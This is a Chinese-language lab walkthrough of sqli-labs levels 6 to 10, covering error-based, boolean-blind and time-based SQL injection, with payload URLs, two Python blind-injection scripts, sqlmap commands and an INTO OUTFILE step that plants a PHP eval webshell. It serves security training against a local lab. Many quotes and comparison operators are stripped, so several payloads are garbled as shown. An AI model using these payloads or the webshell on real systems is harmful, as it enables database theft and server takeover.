资讯动态

SQL注入靶场实战:从报错注入到盲注的核心思路

发布时间:2026/9/20 3:09:10 来源:尧图企业网站定制
sqli-labs这个靶场我前前后后带着不同的学员刷过好几遍每次刷到第6关到第10关都要停下来专门讲一段因为这几关正好是整个靶场从“能看到回显”到“只能靠猜”的分水岭。Less-6还算温和到了Less-9和Less-10你在浏览器里无论输入什么页面的长相都一个样很多人在这一阶段开始怀疑人生。这篇文章就把第6到第10关逐关拆开从闭合符判断、payload写法到脚本化盲注把每一关的完整思路和踩坑点说清楚。这个阶段的关卡适合所有想把SQL注入基础打扎实的人。不管你是刚过完前5关的初学者还是想回头补盲注细节的进阶测试者6~10关都是绕不开的必经之路。这几关真正的价值不只是让你“拿到数据”而是逼你理解一件事当 Web 应用不再把错误、回显、差异暴露给你时你还能怎么把数据库里的值一点一点“搬”出来。1. 第6关到第10关从“看得见报错”到“全靠盲猜”1.1 这一阶段在整个靶场里的位置sqli-labs前5关练的是很基础的东西单引号闭合、数字型注入、括号闭合、联合查询、报错注入。过了第5关很多人会觉得SQL注入也不过如此无非就是加个引号、报错、拼UNION SELECT。但第6关开始就完全不是这个画风了。第6到第10关每一关的“反馈通道”都在不断收窄Less-6双引号闭合仍然保留报错通道可以用updatexml或extractvalue直接报出数据。Less-7单引号加双括号闭合页面基本不吐报错注释里提示你使用UNION SELECT INTO OUTFILE写文件是一道“文件写入特化关”。Less-8单引号闭合页面只区分“有数据”和“没数据”两种状态开始进入纯粹布尔盲注。Less-9单引号闭合页面完全无差异只能通过sleep延时来判断条件真假这是时间盲注。Less-10双引号闭合其余逻辑与第9关完全一致。如果纵向看这一段的本质就是闭合方式逐渐脱离“最直观的单引号”信息通道逐渐脱离“页面可见反馈”。很多人说第6关和第8关难其实不是payload复杂而是思路没有转换过来你得先搞清楚当前关卡给不给你“报错”这个通道再决定用哪套打法。1.2 开刷前的统一测试思路我不管刷第几关都先用同一套步骤走一遍这样可以避免在某个关卡里瞎试半天先测闭合符。分别提交、、)、)、))等观察页面是否报错、是否出现异常空白、是否出现SQL语句片段。确定闭合符后用order by测列数从1开始递增直到报错或页面状态变化。判断页面有没有回显点。有回显点优先联合查询没有回显点但有报错信息就走报错注入两者都没有再考虑盲注。盲注时先分辨是“页面两种状态”还是“页面毫无变化”。前者是布尔盲注后者必须走时间盲注。手工确认过一两个字符后直接上脚本或sqlmap提速不要在手工猜解上浪费太多时间。这套流程听起来常规但很多人就是没按顺序执行结果在第6关用了id1去测发现报错以为是单引号注入后面越做越乱。2. 第6关双引号闭合的报错注入2.1 闭合方式怎么确认Less-6的PHP源码逻辑大致是这样的$id . $_GET[id] . ; $sql SELECT * FROM users WHERE id$id LIMIT 0,1;也就是说我们传入的id会被一对双引号包起来最终SQL语句大概是SELECT * FROM users WHERE id1 LIMIT 0,1你提交单引号会报错提交双引号也会报错但那两种报错的原因不一样。单引号报错是因为SQL语法被单引号破坏双引号报错也一样。最靠谱的方式是直接试闭合后的完整语句。测试双引号闭合第一步先提交http://127.0.0.1/sqli-labs/Less-6/?id1页面报错没关系接着提交http://127.0.0.1/sqli-labs/Less-6/?id1--如果页面恢复正常说明我们已经把双引号闭合掉了后面的--把多余内容注释掉。再用order by测列数http://127.0.0.1/sqli-labs/Less-6/?id1 order by 3--返回正常说明列数至少3列。改成4再试页面报错说明这个查询就3列。2.2 报错注入完整流程第6关报错信息没有被吞掉所以没必要辛辛苦苦去盲注。最顺手的方式是updatexml报错注入。先拿数据库名http://127.0.0.1/sqli-labs/Less-6/?id1 and updatexml(1,concat(0x7e,database(),0x7e),1)--页面会回显类似XPATH syntax error: ~security~数据库名security就到手了。接着查表名http://127.0.0.1/sqli-labs/Less-6/?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)--回显XPATH syntax error: ~emails,referers,uagents,users~再查users表的列名http://127.0.0.1/sqli-labs/Less-6/?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),0x7e),1)--字段名出来后直接爆数据http://127.0.0.1/sqli-labs/Less-6/?id1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--一条一条拿或者用group_concat一次性把多行拼接出来。如果数据量太大字符串会被截断这就是为什么很多payload里要用limit逐个取。2.3 报错注入原理和payload里的细节updatexml报错注入的原理很简单updatexml函数的第二个参数要求是XPath格式字符串MySQL会在内部解析它如果解析失败就把错误信息和传入的内容一起回显。所以我们把SQL子查询塞进第二个参数MySQL解析不了但恰好把子查询结果带进了报错信息里。payload里有个细节我要专门提一下concat(0x7e,database(),0x7e)中间的0x7e是波浪号~的十六进制写法。为什么不用~本身因为有的情况下引号被处理掉或者过滤了特殊字符用十六进制更稳妥。还有一个作用是起着容错效果防止字符串过长被截断时你连输出边界都看不清楚。我实际测试中如果不用波浪号包起来偶尔会因为输出内容恰好被截断而误判结果包一个~马上就能看清数据的边界。其实第6关也可以用联合查询因为它有明确回显点。比如http://127.0.0.1/sqli-labs/Less-6/?id-1 union select 1,2,3--这个照样能出数据。但既然报错通道是开的报错注入更快而且不用纠结回显点在哪一列一条SQL直接带出结果。3. 第7关很多人卡关的into outfile写文件3.1 第7关为什么特殊Less-7这个关卡的源码大致长这样$sql SELECT * FROM users WHERE id(($id)) LIMIT 0,1;它把你的输入用单引号加两个括号包起来了。常规的联合查询其实还是可以做但它和前面关卡最大的区别是当你构造出错误的SQL时页面不会输出具体的SQL错误信息。最直接的体现就是你提交?id1页面并不会老老实实告诉你语法错误在哪里只是显示一个奇怪的空白或者一句无关紧要的提示。很多初学者在这里就卡住了不知道是该联合查询还是什么。页面源码里的注释写着USE YOUR UNION SELECT意思就是让你用union select。这一关的终极目标是利用INTO OUTFILE把查询结果写入服务器上的文件那么你首先要知道web目录的绝对路径。这个在真实渗透测试里通常需要结合报错、phpinfo信息或者目录爆破拿到不过在本地靶场里常见的Linux Web路径就是/var/www/html/或者phpstudy环境的C:/phpstudy_pro/WWW/。3.2 利用into outfile写文件的完整过程第一步先确认闭合方式。Less-7是(($id))的包裹方式所以闭合符是))。测试http://127.0.0.1/sqli-labs/Less-7/?id1)) --正常回显说明闭合成功。接着测列数http://127.0.0.1/sqli-labs/Less-7/?id1)) order by 3--3列正常order by 4报错。然后就是关键的写文件环节。先写一个测试文件确认能不能写http://127.0.0.1/sqli-labs/Less-7/?id-1)) union select 1,2,3 into outfile /tmp/sqli_test.txt--这里把id设为-1是因为我们要让前面的查询结果为空这样UNION SELECT后面的数据才会被写入。接着去服务器上看/tmp/sqli_test.txt是否存在。如果临时目录可写再尝试写PHP一句话木马到web目录http://127.0.0.1/sqli-labs/Less-7/?id-1)) union select 1,2,?php eval($_POST[cmd]);? into outfile /var/www/html/shell.php--如果单引号被过滤或者执行不成功可以把PHP代码转成十六进制再写http://127.0.0.1/sqli-labs/Less-7/?id-1)) union select 1,2,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e into outfile /var/www/html/shell.php--写入成功后访问shell.php再用工具连接一下试一下能否执行命令。这一关练完你对INTO OUTFILE的理解会深刻很多。3.3 这一关的边界与注意事项第7关能不能写文件受几个硬性条件限制MySQL的secure_file_priv参数。如果被设置为NULL任何路径都无法导出如果设置为一个具体目录只能导出到该目录。当前MySQL用户是否拥有FILE权限。Web目录是否有写入权限。在MySQL 5.x的老版本靶场环境中secure_file_priv默认值为空所以基本能写。但你换到新版MySQL或者Docker环境里的MySQL时这一招很可能直接失败。很多人在第7关用sqlmap打跑--os-shell就一直卡着原因大概率就出在权限上。另外提示一下如果实在写不了文件不代表这关做不了。第7关虽然不回显错误但页面仍然区分“有数据”和“无数据”两种状态也就是说它同样可以做布尔盲注只是查询条件的写法要带))闭合。这一点算是“降级方案”虽然不符合出题人本意但却是实战里很常用的思维一个通道不通时不要死磕换一个通道继续拿数据。4. 第8关布尔盲注把“有/无”变成0和14.1 确认盲注点Less-8的源码查询很朴素$sql SELECT * FROM users WHERE id$id LIMIT 0,1;但它没有把查询行数据回显出来也没有把错误信息抛出来。整个页面只有两种状态查到数据时显示一句You are in........查不到数据时显示空白。所以判断注入点怎么做提交单引号测试http://127.0.0.1/sqli-labs/Less-8/?id1页面空白。然后提交http://127.0.0.1/sqli-labs/Less-8/?id1 and 11--页面恢复显示You are in........。再提交http://127.0.0.1/sqli-labs/Less-8/?id1 and 12--又是空白。这就说明了这关存在一个“真”与“假”的判定通道真的时候有显示假的时候没有。这就是标准的布尔盲注条件。4.2 手工猜解流程既然知道了页面状态能区分真假我们就可以把任意一条SQL语句放进条件里根据页面情况判断它是否为真。先猜当前数据库名字的长度http://127.0.0.1/sqli-labs/Less-8/?id1 and length(database())5--正常显示说明长度大于5。改成10无显示说明长度小于等于10。继续二分最后确定长度为8。这个过程就是盲注里的“二分法”。再猜第一个字符。数据库名security的第一个字符是sASCII码是115。我们逐个判断http://127.0.0.1/sqli-labs/Less-8/?id1 and ascii(substr(database(),1,1))100--大于100成立页面正常显示。再试大于120页面空白。于是知道第一个字符ASCII码在100到120之间。继续对半缩小最终确定是115对应字符s。后面的表名、字段名、数据都是用同一套逻辑层层推进。表名查询http://127.0.0.1/sqli-labs/Less-8/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))100--每取一个字符就要发7次左右请求整个库的数据猜完手工操作会让人崩溃。所以布尔盲注一定要脚本化。4.3 二分法脚本示例这里分享一个我自己用的布尔盲注Python脚本模板逻辑不难你改一下URL和判断条件就能用import requests url http://127.0.0.1/sqli-labs/Less-8/ headers {User-Agent: Mozilla/5.0} def is_true(payload): params {id: 1 payload --} resp requests.get(url, paramsparams, headersheaders) return You are in in resp.text def binary_search(payload_template): low, high 32, 126 while low high: mid (low high) // 2 if is_true(payload_template.format(mid)): low mid 1 else: high mid return chr(low) if low 32 else None database_name for i in range(1, 20): ch binary_search(f and ascii(substr(database(),{i},1)){0}) if ch is None: break database_name ch print(f[] database: {database_name})这个脚本里最关键的条件判断是return You are in in resp.text每个关卡的“真”特征不一样第8关就是看这段字符串。你换到别的地方测试时要先把真的特征找到再写进函数。手工确认和第8关逻辑的时候我不建议真的手工一个一个猜太慢了。正确姿势是手工确定“页面能区分真假”之后立刻写脚本或者直接上sqlmap。5. 第9关和第10关时间盲注用延迟传数据5.1 第9关为什么输入什么都一样Less-9比第8关更狠。它的SQL拼接是$sql SELECT * FROM users WHERE id$id LIMIT 0,1;看似和第8关一样但它的查询结果压根不反馈到页面。不管你是?id1 and 11--还是?id1 and 12--页面回显看起来都差不多。既然没有真假两条通道布尔盲注就失效了。这时唯一的判断维度变成了时间。如果某条SQL执行的时间明显变长说明条件为真如果瞬间返回说明条件为假。先试最基础的延时http://127.0.0.1/sqli-labs/Less-9/?id1 and sleep(5)--如果页面转了5秒才回来说明sleep(5)这个条件被执行了注入点确认。然后就可以用条件语句来猜数据http://127.0.0.1/sqli-labs/Less-9/?id1 and if(ascii(substr(database(),1,1))100,sleep(3),0)--如果数据库名第一个字符ASCII码大于100那么页面会延迟3秒返回否则立即返回。第10关唯一的区别是闭合符变成了双引号http://127.0.0.1/sqli-labs/Less-10/?id1 and if(ascii(substr(database(),1,1))100,sleep(3),0)--其他流程和第9关完全一致。5.2 时间盲注的判断细节时间盲注最怕的是网络抖动。本来没有延时结果网络卡了3秒你误判成条件为真后面所有数据都会错位。所以我在脚本里通常把阈值设得比sleep时长宽松一点比如sleep(3)判断条件就用“响应时间大于2.5秒”。这样即使网络有轻微抖动也能容忍。另一个常见问题是sleep时间太短。如果sleep(1)加上网络本身不稳定很容易分不清是数据库延时还是网络延时。我的建议是本地靶场至少sleep(3)远程测试时根据RTT调整延时时间要明显大于网络波动。时间盲注同样可以用二分法脚本只是判断函数从“页面中是否出现某个字符串”变成了“响应时间是否超过阈值”。一个简化版脚本第9关和第10关都能用import requests import time url http://127.0.0.1/sqli-labs/Less-9/ headers {User-Agent: Mozilla/5.0} def is_true(payload): params {id: 1 payload --} start time.time() requests.get(url, paramsparams, headersheaders) return time.time() - start 2.5 def binary_search(payload_template): low, high 32, 126 while low high: mid (low high) // 2 if is_true(payload_template.format(mid)): low mid 1 else: high mid return chr(low) if low 32 else None database_name for i in range(1, 20): ch binary_search(f and if(ascii(substr(database(),{i},1)){0},sleep(3),0)) if ch is None: break database_name ch print(f[] database: {database_name})注意这里的耗时。每猜一个字符要发约7次请求每次如果条件为真就要等3秒。猜完一个库名可能要几分钟这是很正常的事。想提速可以改成多线程每个线程负责一段字符范围但要注意别把靶场环境打崩。5.3 第9关与第10关的横向对比两关的本质完全一样唯一区别就是双引号和单引号。这其实是出题人的一个经典陷阱你在第9关用单引号找到了注入点到了第10关如果不加思考直接复用第9关的payload会发现sleep一直不生效页面都是瞬间返回。这时候别去怀疑是不是时间盲注被禁了先去试闭合符。我见过太多人在第10关用单引号测了半天最后换成双引号瞬间出数据。每次刷到这里我都习惯性提醒一句闭合符变了payload的第一个字符就得跟着变。6. 常见问题与排查技巧实录6.1 区分闭合符的关键技巧第六到第十关的闭合符依次是双引号、单引号加双括号、单引号、单引号、双引号。很多人记不住实际上不需要死记现场测试就行。我的判断方法是构造一个“能正常执行的SQL”来测试。比如你怀疑是双引号闭合就提交?id1 --如果页面正常说明闭合成功。你怀疑是))就提交?id1)) --。所谓闭合成功就是原来包裹参数的那个引号或括号被完整“堵上”后面的内容被注释掉SQL语法完全复原。有时候报错信息很有用。如果页面把SQL错误打出来你直接看报错位置的引号类型。但第7、第8、第9关的报错信息都被吞了所以更多要靠页面状态或时间差异来判断。6.2 sqlmap在6~10关的使用建议sqlmap刷靶场很快但我不建议一上来就sqlmap至少要能手工确认闭合符和注入类型否则连怎么调参数都不清楚。第6关可以直接跑sqlmap -u http://127.0.0.1/sqli-labs/Less-6/?id1 --batch --dbssqlmap会自动识别双引号闭合和报错注入速度很快。第8关是布尔盲注sqlmap也能直接识别sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id1 --batch --dbs第9关和第10关要指定时间盲注的参数不然sqlmap的发包策略可能不够准确sqlmap -u http://127.0.0.1/sqli-labs/Less-9/?id1 --batch --time-sec3 --dbs--time-sec3告诉sqlmap使用3秒延时作为判断依据这个值最好和靶场的网络状况匹配。第7关如果直接用sqlmap最顺的是sqlmap -u http://127.0.0.1/sqli-labs/Less-7/?id1 --batch --dbs它会自动识别出))闭合方式。但如果想尝试--os-shell拿shell必须要满足文件写入权限权限不足时sqlmap会一直报错。我的建议是第7关先手工手工验证INTO OUTFILE是否可用能用再让sqlmap去写不能用就老老实实走盲注查数据。6.3 6~10关速查表最后放一张速查表方便以后二刷时快速回忆。关卡闭合符推荐注入方式判断特征示例payloadLess-6报错注入双引号报错页面有差异?id1 and updatexml(1,concat(0x7e,database(),0x7e),1)--Less-7))into outfile写文件注释提示union select无报错回显?id-1)) union select 1,2,3 into outfile /tmp/1.txt--Less-8布尔盲注and 11有显示、and 12无显示?id1 and ascii(substr(database(),1,1))100--Less-9时间盲注sleep(5)后页面延迟返回?id1 and if(ascii(substr(database(),1,1))100,sleep(3),0)--Less-10时间盲注同第9关闭合符换双引号?id1 and if(ascii(substr(database(),1,1))100,sleep(3),0)--我个人刷完每一关都会把“闭合符页面特征首选payload”记到自己的速查表里。一开始觉得多此一举后来做授权测试时才发现真正拿下一个站点的时间往往只有几十分钟你根本没有机会现场一关一关试。能在最短时间内判断出闭合方式、注入类型和工具参数才是这几关真正带给你最有用的东西。后面还有第11关到第17关的POST注入以及更后面的堆叠注入、宽字节注入思路都是从这里延伸出去的6~10关这一口气捋顺了后面会顺畅很多。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价